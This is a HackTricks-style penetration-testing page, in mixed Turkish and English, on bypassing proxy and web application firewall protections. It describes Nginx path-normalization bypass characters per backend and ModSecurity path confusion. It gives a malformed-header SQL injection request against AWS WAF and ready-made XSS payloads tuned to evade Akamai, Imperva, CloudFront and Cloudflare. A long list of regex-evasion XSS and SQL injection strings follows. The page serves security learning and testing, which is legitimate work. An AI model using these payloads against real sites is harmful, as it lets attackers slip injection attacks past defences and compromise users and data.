Proxy / WAF Protections Bypass

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bypass Nginx ACL Rules with Pathname Manipulation

Teknikler from this research.

Nginx kural örneği:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn’t remove) it might be possible to bypass this defense.

NodeJS - Express

Nginx SürümüNode.js Baypas Karakterleri
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx SürümüFlask Baypas Karakterleri
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx SürümüSpring Boot Baypas Karakterleri
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM yapılandırması:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx, /admin.php erişimini engelleyecek şekilde yapılandırılmıştır ancak /admin.php/index.php adresine erişilerek bu engel aşılabilir.

Nasıl önlenir

location ~* ^/admin {
deny all;
}

Bypass Mod Security Rules

Path Confusion

In this post açıklıyor ki ModSecurity v3 (3.0.12’ye kadar), REQUEST_FILENAME değişkenini yanlış implemente etmişti; bu değişken erişilen yolu (parametrelerin başlangıcına kadar) içermeliydi. Bunun sebebi yolu almak için URL decode işlemi yapmasıdır.
Bu nedenle, http://example.com/foo%3f';alert(1);foo= gibi bir istek mod security içinde yolun sadece /foo olduğunu varsayacaktır çünkü %3f ?’ye dönüştürülür ve URL yolunu sonlandırır; fakat aslında sunucunun alacağı yol /foo%3f';alert(1);foo= olacaktır.

REQUEST_BASENAME ve PATH_INFO değişkenleri de bu hatadan etkilendi.

Benzer bir durum ModSecurity’nin 2 sürümünde de meydana gelmiş; bu, yedekleme dosyalarıyla ilişkili belirli uzantılara (ör. .bak) erişimi engelleyen bir korumayı, noktayı %2e olarak URL encode ederek atlatmaya izin veriyordu. Örneğin: https://example.com/backup%2ebak.

Bypass AWS WAF ACL

Malformed Header

This research belirtiliyor ki, AWS tarafından düzgün parse edilmeyen fakat backend sunucu tarafından parse edilen “malformed” bir header gönderilerek HTTP headers üzerinde uygulanan AWS WAF kuralları atlanabiliyordu.

For example, sending the following request with a SQL injection in the header X-Query:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

It was possible to bypass AWS WAF because it wouldn’t understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).

Genel WAF bypasses

İstek Boyutu Limitleri

Genellikle WAF’ların kontrol etmek için belirli bir istek uzunluğu limiti vardır; eğer bir POST/PUT/PATCH isteği bu limiti aşarsa, WAF isteği kontrol etmez.

Application Load Balancer ve AWS AppSync korumaları için denetlenebilecek bir web istek gövdesinin maksimum boyutu8 KB
CloudFront, API Gateway, Amazon Cognito, App Runner ve Verified Access korumaları için denetlenebilecek bir web istek gövdesinin maksimum boyutu**64 KB

Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than 128 KB by turning off request body inspection, but these messages won’t be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:

Eğer prevention mode ise: İsteği loglar ve engeller.
Eğer detection mode ise: Limite kadar denetler, kalan kısmı görmezden gelir ve Content-Length limitin üzerinde ise log tutar.

By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.

Up to 128KB.

Statik varlık denetim boşlukları (.js GETs)

Bazı CDN/WAF yığınları, statik varlıklar için yapılan GET isteklerine (ör. yolları .js ile biten) zayıf veya hiç içerik denetimi uygulamaz; buna karşın rate limiting ve IP reputation gibi global kuralları uygular. Statik uzantıların otomatik önbelleklemesiyle birleştiğinde, bu durum sonraki HTML yanıtlarını etkileyen kötü amaçlı varyantların teslimi veya yerleştirilmesi için kötüye kullanılabilir.

Uygulamalı kullanım örnekleri:

  • İçerik denetiminden kaçınmak için bir .js yoluna yapılan GET sırasında untrusted headers (ör. User-Agent) içine payload gönderin, sonra önbelleğe alınmış varyantı etkilemek için hemen ana HTML’i isteyin.
  • Temiz/yeni bir IP kullanın; IP bir kez işaretlendiğinde, yönlendirme değişiklikleri tekniği güvenilmez kılabilir.
  • Burp Repeater’da “Send group in parallel” (single-packet style) seçeneğini kullanarak iki isteği (.js sonra HTML) aynı front-end yolundan yarıştırın.

This pairs well with header-reflection cache poisoning. See:

Cache Poisoning and Cache Deception

Obfuscation

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Uyumluluğu

Unicode normalizasyonunun uygulanma biçimine bağlı olarak (daha fazla bilgi here), Unicode uyumluluğu paylaşan karakterler WAF’ı atlatıp amaçlanan payload olarak çalıştırılabiliyor olabilir. Uyumlu karakterler şurada bulunabilir: here.

Örnek

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Kodlamalarla bağlamsal WAF’leri atlatma

As mentioned in this blog post, Kullanıcı girdisinin bağlamını koruyabilen WAF’leri atlatmak için WAF tekniklerini kullanıcı girdisini gerçekten normalize edecek şekilde kötüye kullanabiliriz.

For example, in the post it’s mentioned that Akamai URL decoded a user input 10 times. Therefore something like <input/%2525252525252525253e/onfocus will be seen by Akamai as <input/>/onfocus which might think that it’s ok as the tag is closed. Ancak uygulama girdiyi 10 kez URL decode etmediği sürece, hedef <input/%25252525252525253e/onfocus gibi bir şey görecektir ve bu hala XSS saldırısı için geçerlidir.

Bu yüzden bu, WAF’in decode edip yorumlayacağı fakat hedefin görmeyeceği şekilde kodlanmış bileşenlere payload’ları gizlemeye olanak tanır.

Ayrıca bu sadece URL encoded payload’larla değil, unicode, hex, octal gibi diğer kodlamalarla da yapılabilir…

Yazıda aşağıdaki son bypass’lar öneriliyor:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

Ayrıca bazı WAF’lerin kullanıcı girdisinin bağlamını nasıl anladığına bağlı olarak bunun kötüye kullanılmasının mümkün olabileceği belirtiliyor. Yazıda verilen örnek, Akamai’nin /* ve */ arasına her şeyi koymaya izin verdiğiydi (muhtemelen bunun yaygın olarak yorum satırı olarak kullanılması nedeniyle). Bu nedenle /*'or sleep(5)-- -*/ gibi bir SQLinjection yakalanmayacak ve geçerli olacaktır çünkü /* enjeksiyonun başlangıç dizisi sayılacak ve */ yorum satırı olarak değerlendirilecektir.

Bu tür bağlam sorunları, WAF tarafından hedeflenen zafiyetten farklı diğer zafiyetleri de kötüye kullanmak için kullanılabilir (ör. bu aynı zamanda bir XSS’i exploit etmek için de kullanılabilir).

Inline JavaScript first-statement inspection gaps

Some inline-inspection rulesets only parse the first JavaScript statement present inside an event handler. Parantez içinde zararsız görünen bir ifadeyi noktalı virgülle önekleyerek (örneğin onfocus="(history.length);payload"), noktalı virgülden sonra yerleştirilen kötü amaçlı kod incelemeyi atlatır ancak tarayıcı yine de çalıştırır. Bunu fragment-tetikli odak ile (ör. hedeflenen öğe yüklenince odaklanması için #forgot_btn eklemek) birleştirmek, hemen $.getScript çağırıp keylogger gibi phishing araçlarını bootstrap edebilen click-less XSS’e olanak verir. Bakınız attribute-only login XSS case study ve bu çalışmadan türetilen this research.

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Farklı teknikler, firewall’lardaki regex filtrelerini atlatmak için kullanılabilir. Örnekler arasında büyük/küçük harf değiş tokuşu, satır sonu ekleme ve payload’ların kodlanması bulunur. Çeşitli bypass’lar için kaynaklar PayloadsAllTheThings ve OWASP sayfalarında bulunabilir. Aşağıdaki örnekler this article adresinden alınmıştır.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Araçlar

  • nowafpls: Burp eklentisi; isteklere uzunluk ekleyerek WAFs’ı atlatmak için gereksiz (junk) veri ekler

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin